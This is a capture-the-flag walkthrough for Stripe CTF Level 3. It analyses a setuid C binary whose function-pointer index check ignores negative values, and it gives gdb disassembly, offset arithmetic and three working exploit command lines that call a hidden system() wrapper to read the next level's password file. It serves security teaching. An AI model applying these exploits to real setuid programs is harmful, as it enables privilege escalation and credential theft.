Stripe CTF – Level 3

Note: For more information on this series of posts and the CTF exercise, please read the Background section of the first post in this series.

Level 03

I’ve broken the write-up for this level into two sections, binary analysis and solutions, as there are several different methods to solve this once you have analyzed the binary and determined the vulnerability.

Binary analysis

Okay, so we are well on our way through this CTF wargame.  Let’s see what level03 has in store for us, shall we?  As before we login to the server with level03 credentials, browse to /levels, and do a directory listing.

We can see a level03 binary with the suid bit set whose owner is level04 and we also see a level03.c file which would appear to be the source code for the level.  Let’s determine what kind of file level03 is by running the file command on it.

One thing that stands out is that level03 is a 32-bit executable binary (as opposed to a 64-bit).  Let’s go ahead and take a look at the source code.  I simply ran cat level03.c and pasted it into my text editor for easier viewing.  The source is listed below.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>

#define NUM_FNS 4

typedef int (*fn_ptr)(const char *);

int to_upper(const char *str)
 printf("Uppercased string: ");
 int i = 0;
 for (i; str[i]; i++)
 return 0;

int to_lower(const char *str)
 printf("Lowercased string: ");
 int i = 0;
 for (i; str[i]; i++)
 return 0;

int capitalize(const char *str)
 printf("Capitalized string: ");
 int i = 1;
 for (i; str[i]; i++)
 printf("\n", str);
 return 0;

int length(const char *str)
 int len = 0;
 for (len; str[len]; len++) {}

printf("Length of string '%s': %d\n", str, len);
 return 0;

int run(const char *str)
 // This function is now deprecated.
 return system(str);

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
 char buf[64];
 // Truncate supplied string
 strncpy(buf, user_string, sizeof(buf) - 1);
 buf[sizeof(buf) - 1] = '\0';
 return fns[index](buf);

int main(int argc, char **argv)
 int index;
 fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};

 if (argc != 3) {
  printf("Usage: ./level03 INDEX STRING\n");
  printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
  printf("[2] capitalize\t[3] length\n");

// Parse supplied index
 index = atoi(argv[1]);

 if (index >= NUM_FNS) {
  printf("Invalid index.\n");
  printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
  printf("[2] capitalize\t[3] length\n");

 return truncate_and_call(fns, index, argv[2]);

Let’s spend a few moments dissecting this simple program.  Briefly skimming the code we see several predefined functions that appear to take a pointer to a character string and manipulate it in some fashion.  These functions are labeled to_upper, to_lower, capitalize, and length.  Also notice that a function entitled run exists with a comment that it has been deprecated, but has still been left in the source.  We’ll come back to this.  Then we see a function called truncate_and_call which appears to copy a truncated portion of a supplied string to another buffer before passing the buffer as an argument to a function pointer.  And finally we see our main function.

If we look at main more closely we see that it initially defines two variables, an integer labeled index and a programmer defined function pointer array labeled fns which contains pointers to the previously defined functions to_upperto_lowercapitalize, and length (but not run obviously).  Then we notice that main expects two command line arguments (beyond the name of the binary itself), namely INDEX and STRING.  If the number of command line arguments is not correct, we are presented with a message detailing what is expected and what function is represented by the INDEX value.  If we pass the correct number of arguments, the INDEX parameter (argv[1]) is converted to an integer and assigned to the index variable.  On line 80 the program attempts to verify that the value for index falls within the expected range of 0-3 by comparing it with a static variable NUM_FNS (which has be set to 4).  Note that the comparison on line 80 is only checking to see if index is greater than or equal to NUM_FNS.  If the index value passes the check, the function truncate_and_call is called with three parameters – the address of the function pointer array (fns), our index, and the final command line argument which is presumably a string.  At first glance, the main function seems fairly straight forward.

Initially one might be hoping that since argv[2] is passed onto another function outside of main without any validation, that we might have the makings of a classic buffer overflow.  However, if you look closer at truncate_and_call, you can see that argv[2] gets truncated to 63 bytes with a NULL (‘\0’) byte tacked onto it before being manipulated in any fashion.

So where is the vulnerability?  Remember to focus on what items we have under our control.  For this exercise, we control the value of index and the first 63 bytes of buffer space passed via argv[2], or STRING.

Let’s look back at the run function which is supposedly deprecated.  At no point in the code does this function actually get called, but notice that if it were called it would take a string parameter and send it directly to the system() command.  Remember from level01 that the system() command executes a shell command using the string provided as its parameter.  Wouldn’t it be nice if we could somehow get that function to execute and pass it a simple string such as “cat /home/level04/.password”?  Is that possible?

The answer is yes, and it’s done the same way that the other functions in the fns array are called.  Notice that on line 62, fns calls a function presumed to be in the array based on the index value it has been given.  The code assumes that index has been “sanitized” to only be 0-3, however there is a flaw in the parameter checking logic.  It’s checking to see if the value for index is greater than or equal to 4, but it doesn’t check for negative integer values.  Thus we might be able to pass a negative index value that happens to point to the address of run and get it to execute our command passed via the first 63 bytes of our buffer supplied in argv[2].

Let’s start debugging this binary to see if we can find a way to execute the run function.  If you’ve never used gdb before, this post will show you some basic commands, but it would definitely benefit you to research more on your own.  I am by no means a gdb guru, but I always seem to learn more about it every time I fire it up.

So let’s load the level03 binary into gdb, set our disassembly-flavor (personal preference), and take a closer at the truncate_and_call function.

The disassembly of truncate_and_call is below:

Dump of assembler code for function truncate_and_call:
 0x0804876e <+0>: push ebp
 0x0804876f <+1>: mov ebp,esp
 0x08048771 <+3>: sub esp,0x78
 0x08048774 <+6>: mov eax,DWORD PTR [ebp+0x8]
 0x08048777 <+9>: mov DWORD PTR [ebp-0x5c],eax
 0x0804877a <+12>: mov eax,DWORD PTR [ebp+0x10]
 0x0804877d <+15>: mov DWORD PTR [ebp-0x60],eax
 0x08048780 <+18>: mov eax,gs:0x14
 0x08048786 <+24>: mov DWORD PTR [ebp-0xc],eax
 0x08048789 <+27>: xor eax,eax
 0x0804878b <+29>: mov eax,DWORD PTR [ebp-0x60]
 0x0804878e <+32>: mov DWORD PTR [esp+0x8],0x3f
 0x08048796 <+40>: mov DWORD PTR [esp+0x4],eax
 0x0804879a <+44>: lea eax,[ebp-0x4c]
 0x0804879d <+47>: mov DWORD PTR [esp],eax
 0x080487a0 <+50>: call 0x804848c <strncpy@plt>
 0x080487a5 <+55>: mov BYTE PTR [ebp-0xd],0x0
 0x080487a9 <+59>: mov eax,DWORD PTR [ebp+0xc]
 0x080487ac <+62>: shl eax,0x2
 0x080487af <+65>: add eax,DWORD PTR [ebp-0x5c]
 0x080487b2 <+68>: mov edx,DWORD PTR [eax]
 0x080487b4 <+70>: lea eax,[ebp-0x4c]
 0x080487b7 <+73>: mov DWORD PTR [esp],eax
 0x080487ba <+76>: call edx
 0x080487bc <+78>: mov edx,DWORD PTR [ebp-0xc]
 0x080487bf <+81>: xor edx,DWORD PTR gs:0x14
 0x080487c6 <+88>: je 0x80487cd <truncate_and_call+95>
 0x080487c8 <+90>: call 0x80484ec <__stack_chk_fail@plt>
 0x080487cd <+95>: leave
 0x080487ce <+96>: ret

I’m particularly interested in line 25 (0x080487ba) which calls edx, or more specifically calls the function pointed to by the index variable.  Let’s go ahead and set a breakpoint here:

Since this is a test run to get a good idea how the program works, we will set some normal arguments to use.  Type the following command into gdb and then run the program – set args 1 $(python -c “print ‘\x41’*100”).  Notice that we hit our break point just before the to_lower function is called (as indicated by index value 1).

If we do a info reg, we see that edx (which is about to get called) holds the address of to_lower.

Let’s determine the addresses of some other interesting variables and the run function itself:

Also, we can validate the static addresses for all functions pointed to by fns as follows (notice the second value listed matches edx):

Now we know the static address of run which is 0x804875b, and we also have the relative addresses of fns and &buf.  For this run of the program fns sits at 0xffe2019c and &buf sits at 0xffe2012c.  This is excellent because &buf, of which we control the first 63 bytes, actually resides higher up the stack than fns.  Remember that when discussing locations on the stack, the higher up the stack we are, the lower the addresses will be.  This is good news because that means we can pass a negative index value and fns will locate that address which is up the stack as opposed to below.  So let’s calculate exactly how far apart they are by simply subtracting &buf from fns.

0xffe2019c - 0xffe2012c = 0x70 (which is 112 bytes)

So our buffer sits 112 bytes away from fns.  Remember that when we pass the index value, it’s converted to an integer data type which is four bytes long.  Looking back at the disassembly, line 20 reflects the equivalent of multiplying our index by 4.  So we want to pass an index value that when multiplied by four, will point fns to the top of our buffer.  Thus some more simple arithmetic:

112 ÷ 4 = 28

Bingo, if we pass -28 as our index value, the fns function pointer assume the first four bytes of our buffer is an address of another function and effectively call that address, passing &buf as it’s string parameter.   Also note that we can point fns to any negative index value in our buffer, from -28 to -13, ensuring that our buffer is padded to maintain 4-byte alignment.  Okay, so now we know that we have the ability to execute an address of our choosing.  The next section outlines several different options for solutions to successfully exploit this binary and grab the next password.  Go ahead and complete the current run of the binary in your GDB session.


There are obviously multiple ways to exploit this, but here are a few in order from least number of commands to most:

1) /levels/level03 -21 $'cat /home/level04/.password \x5b\x87\x04\x08'

Note that the string cat /home/level04/.password is 27 bytes long, thus we added a space at the end in order to maintain 4-byte alignment before entering the address of run.  Also note that the address in our string is sent in little endian format.  Since the command string is 28 bytes (7 integers), we subtract 7 from 28 and provide the index of -21 to ensure we hit the address of the ‘run’ function.  And executing this gives us the password.

2) Command sequence:
 echo "cat /home/level04/.password" > $'\x5b\x87\x04\x08'
 chmod +x $'\x5b\x87\x04\x08'
 /levels/level03 -28 $'\x5b\x87\x04\x08'

In this solution we created an executable file with the shell command to display the password.  The executable filename is the same as the address of therun function in little endian, thus it serves two purposes.  The first purpose is the address to jump to, and the second is the command to execute.  Here is the output:

3) Command sequence:
 echo "cat /home/level04/.password" > exploit #this could be any filename of your choosing
 chmod +x exploit
 ln -s exploit $'\x5b\x87\x04\x08'
 /levels/level03 -28 $'\x5b\x87\x04\x08'

This effectively does the same thing as solution 2, but creates a symbolic link to an executable with our exploit string command.  The link is named the address of run in little endian.

Finally, note that for solutions 2 and 3 it is necessary to update your path to include the directory you’re working under.


There are a couple of important things to keep in mind with respect to this exploit:
1) The index value is what we use to direct us to the run function.  Thus it must point to the address of run (in little endian).

2) The beginning of our buffer is also the beginning of the string that will be passed to the run function as the command to be executed.  Thus you can either insert the command at the beginning of the buffer, or create an actual executable file, whose file name matches the little endian address ofrun.

With respect to best security practices in general:

  • Never compile deprecated source code into your binaries.  If the code is not needed or not used, you should either remove it or comment it out.
  • When conducting input validation, ensure that all cases are covered so that the values you pass to other functions are guaranteed to be correct.  This sometimes taking the approach of a different mindset while coding and literally thinking, “how would I break this?”

Save your password for level04 and let’s move onto the next challenge!